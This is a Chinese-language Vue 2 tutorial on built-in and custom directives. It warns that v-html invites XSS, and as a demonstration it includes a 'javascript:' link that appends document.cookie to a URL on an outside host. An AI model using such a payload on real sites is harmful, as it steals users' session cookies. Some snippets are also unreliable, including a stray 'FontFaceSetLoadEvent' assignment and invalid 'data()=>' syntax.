Skip to content

指令

1.内置指令

之前了解到的指令

  • v-bind:单向绑定解析表达式,可简写为 :
  • v-model:双向数据绑定
  • v-for:遍历数组 / 对象 / 字符串
  • v-on:绑定事件监听,可简写为**@**
  • v-show:条件渲染 (动态控制节点是否展示)
  • v-if:条件渲染(动态控制节点是否存存在)
  • v-else-if:条件渲染(动态控制节点是否存存在)
  • v-else:条件渲染(动态控制节点是否存存在)

v-bind

基本用法

v-bind用于父组件向子组件传值,语法如下:

父组件向子组件传的值,子组件应当用props接收

vue
<template>
  <div>
    <Child v-bind="text" />
  </div>
</template>

<script>
import Child from "./views/Child.vue";
export default {
  components: { Child },
  data() {
    return {
      text: "123",
    };
  },
};
</script>
vue
<template>
  <div>
    {{ text }}
  </div>
</template>

<script>
export default {
  props:['text']
};
</script>

简写

一般父组件可能会给子组件传递多个值,但是v-bind只能传递一个值

vue
<Child v-bind="text" v-bind="name"/>  
err duplicate-attribute  重复的属性

于是我们可以使用简写,使用一个:即可

这样不仅可以传递多个属性值,也可以自定义属性名

vue
<Child :text="text" :name="name"/>

v-model

v-model专门用来双向绑定表单中的数据

视图数据改变,模型数据自动更新,模型数据更新,视图也会自动更新

不同表单绑定的数据类型不同

  • <input type="text"/>,则v-model收集的是value值,用户输入的内容就是value值

  • <input type="radio"/>,则v-model收集的是value值,且要给标签配置value属性

  • <input type="checkbox"/>

    • 没有配置value属性,那么收集的是checked属性(勾选 or 未勾选,是布尔值)

    • 配置了value属性

      • v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)

      • v-model的初始值是数组,那么收集的就是value组成的数组

v-model原理

v-model是基于表单的:value属性和@input事件封装的

vue
<template>
	<input :value="val" @input="onChange">
</template>

<script>
    export default{
        data()=>{
            return{
                val:""
            }
        },
        methods:{
            onChange(e){
                this.val=e.target.value
            }
        }
    }
</script>

组件中的v-model

在组件中,v-model父传子是prop实现,子传父是通过$emit('input')实现的

当组件中使用v-model时,会自动绑定一个@input事件

html
<Child v-model="value"/>

相当于

vue
<Child :value="value" @input="(v)=> value = v"/>

那么我们在子组件中就可以使用$emit('input',value)把数据传递给父组件

父组件通过v-model向子组件传递数据时,子组件props中应该接收的属性名为value

如下所示

vue
<template>
	<Stars v-model="value"></Stars>
</template>
<script>
    export default {
        components: {
            Stars: () => import('./views/Stars.vue'),
        },
        data() {
            return {
                value: 0,
            }
        },
    }
</script>
vue
<template>
	<div>
		{{ value }}
		<button @click="$emit('input', value + 1)">add</button>
	</div>
</template>

<script>
export default {
	props: {
		value: Number,
	},
}
</script>

v-model的修饰符

修饰符作用
lazy失去焦点后再收集数据,input事件改为change
number输入字符串转为有效的数字
trim输入首尾空格过滤

v-text

作用:向其所在的节点中渲染文本内容,相当于原生语法的innerText

html
<div id="root">
  <div>你好,{{name}}</div>
  <div v-text="name"></div>
  <div v-text="str"></div>
</div>

<script type="text/javascript">
  Vue.config.productionTip = false
  new Vue({
    el:'#root',
    data:{
      name:'cess',
      str:'<h3>你好啊!</h3>'
    }
  })
</script>

v-html

v-html 指令

作用:向指定节点中渲染包含 html 结构的内容,相当于原生语法的innerHtml

与插值语法的区别:

  1. v-html会替换掉节点中所有的内容,插值语法则不会

  2. v-html可以识别html结构

严重注意v-html有安全性问题!!!

  1. 在网站上动态渲染任意html是非常危险的,容易导致 XSS 攻击

  2. 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!

html
<div id="root">
  <div>你好,{{ name }}</div>
  <div v-html="str"></div>
  <div v-html="str2"></div>
</div>

<script type="text/javascript">
  Vue.config.productionTip = FontFaceSetLoadEvent
  new Vue({
    el:'#root',
    data:{
      name:'cess',
      str:'<h3>你好啊!</h3>',
      str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
    }
  })
</script>

v-cloak

v-cloak指令(没有值),当使用插值语法时,有时候因为某些原因,两个大括号会在视图中一闪而过,这样用户就会说你写的代码垃圾,v-cloak可以用来解决这个问题

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性

  2. 使用css配合v-cloak可以解决网速慢时插值语法展示成字符串的问题

html
<style>
  [v-cloak] {
    display:none;
  }
</style>

<div id="root">
  <h2 v-cloak>{{ name }}</h2>
</div>
//...
<script type="text/javascript">
  console.log(1)
  new Vue({
    el:'#root',
    data:{name:'cess'}
  })
</script>

v-once

  1. v-once所在节点在初次动态渲染后,就视为静态内容了

  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

html
<div id="root">
  <h2 v-once>初始化的n值是: {{n}}</h2>
  <h2>当前的n值是: {{n}}</h2>
  <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
  Vue.config.productionTip = false
  new Vue({ 
      el: '#root',
      data: {n:1}
  })
</script>

v-pre

跳过v-pre所在节点的编译过程,插值语法比如,会直接渲染成字符串

vue
<template>
	<div v-pre>
		{{ value }}
	</div>
</template>

image-20241018162500526

2.自定义指令

定义自定义质量只用写指令名,不用加v-

2.1 局部指令

作为一个配置项使用,通过directives配置项

html
<script>
    new Vue({		
        data(){
            return{
                // ...
            }
        },
        directives:{ 
            指令名:{
                bind: function (el, binding) {},				//显示,挂载
                inserted: function (el, binding) {},			//显示,挂载   可以获取父节点
                update: function (el, binding) {},				//更新
                unbind: function (el, binding) {}				//隐藏
            }
            // ...
        }   
    })
</script>

每个指令分别有以下几个钩子函数

钩子函数作用
bind(element, binding)只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。
inserted(element,binding)被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)。
update(element, binding)指令所在模板结构被重新解析时调用
componentUpdated(element, binding)指令所在组件的 VNode 及其子 VNode 全部更新后调用。
unbind(element, binding)只调用一次,指令与元素解绑时调用

函数钩子内的参数:

  • el:指令所绑定的元素,可以用来直接操作 DOM。
  • binding:一个对象,包含以下 property:
    • name:指令名,不包括 v- 前缀。
    • value:指令的绑定值,例如:v-my-directive="1 + 1" 中,绑定值为 2
    • oldValue:指令绑定的前一个值,仅在 updatecomponentUpdated 钩子中可用。无论值是否改变都可用。
    • expression:字符串形式的指令表达式。例如 v-my-directive="1 + 1" 中,表达式为 "1 + 1"
    • arg:传给指令的参数,可选。例如 v-my-directive:foo 中,参数为 "foo"
    • modifiers:一个包含修饰符的对象。例如:v-my-directive.foo.bar 中,修饰符对象为 { foo: true, bar: true }
  • vnode:Vue 编译生成的虚拟节点。移步 VNode API 来了解更多详情。
  • oldVnode:上一个虚拟节点,仅在 updatecomponentUpdated 钩子中可用

除了 el 之外,其它参数都应该是只读的,切勿进行修改。如果需要在钩子之间共享数据,建议通过元素的 dataset 来进行。

2.2 全局指令

js
import Vue from 'vue';

Vue.directive('指令名', {
    // el就是DOM元素,binding就是要绑定的对象
    bind(el, binding) {},
    inserted(el, binding) {},
    update(el, binding) {},
    unbind(el, binding) {}
})

2.4 函数简写

在很多时候,你可能想在 bindupdate 时触发相同行为,而不关心其它的钩子。比如这样写:

js
Vue.directive('test', (el, binding)=>{
  el.style.backgroundColor = binding.value
})

2.3 使用自定义指令

dom元素标签中添加v-指令名属性

html
<input type="text" v-test />

2.4 注意

  1. 指令定义时不加v-,但使用时要加v-

  2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

js
directives: {
    'big-number'(element,binding) {
        element.innerText = binding.value * 10
    }
}

MIT Licensed